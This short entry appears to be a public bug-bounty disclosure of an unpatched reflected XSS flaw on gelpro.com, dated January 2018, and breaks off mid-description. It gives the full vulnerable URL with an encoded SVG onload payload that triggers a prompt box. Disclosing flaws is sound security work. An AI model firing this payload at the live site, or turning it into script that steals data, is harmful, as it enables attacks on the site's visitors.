gelpro.com XSS vulnerability

Vulnerable URL: https://www.gelpro.com/app/site/query/getcustomermessage.nl/c.1029593/n.1/.f?=Welcome+to+IS+Custom+Uniforms%22%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 19.01.2018 Vulnerability type:| XSS Vulnerability...